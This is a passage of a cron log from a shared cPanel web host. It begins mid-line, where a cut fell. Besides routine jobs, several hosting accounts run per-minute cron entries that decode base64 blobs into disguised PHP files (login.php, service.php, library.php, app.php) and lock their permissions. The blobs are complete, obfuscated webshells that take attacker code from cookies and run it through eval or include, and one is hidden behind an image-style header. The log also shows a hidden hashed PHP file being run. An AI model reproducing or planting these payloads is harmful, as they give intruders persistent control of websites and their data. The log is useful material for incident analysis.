CAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:25:01 medusa CROND[10674]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 06:25:01 medusa CROND[10688]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 06:25:01 medusa CROND[10689]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:25:01 medusa CROND[10696]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:26:01 medusa CROND[16004]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:26:01 medusa CROND[16005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:26:01 medusa CROND[16006]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 06:26:01 medusa CROND[16007]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:26:01 medusa CROND[16008]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:26:01 medusa CROND[16009]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:26:01 medusa CROND[16010]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:26:01 medusa CROND[16011]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 06:26:01 medusa CROND[16013]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:26:01 medusa CROND[16012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:26:01 medusa CROND[16022]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:26:01 medusa CROND[16023]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:26:01 medusa CROND[16024]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:26:01 medusa CROND[16027]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:27:01 medusa CROND[20405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:27:01 medusa CROND[20489]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:27:01 medusa CROND[20490]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:27:01 medusa CROND[20491]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:27:01 medusa CROND[20492]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:27:01 medusa CROND[20496]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 06:27:01 medusa CROND[20498]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:27:01 medusa CROND[20504]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:27:01 medusa CROND[20507]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:27:01 medusa CROND[20503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:27:01 medusa CROND[20512]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:27:01 medusa CROND[20514]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:28:01 medusa CROND[27805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
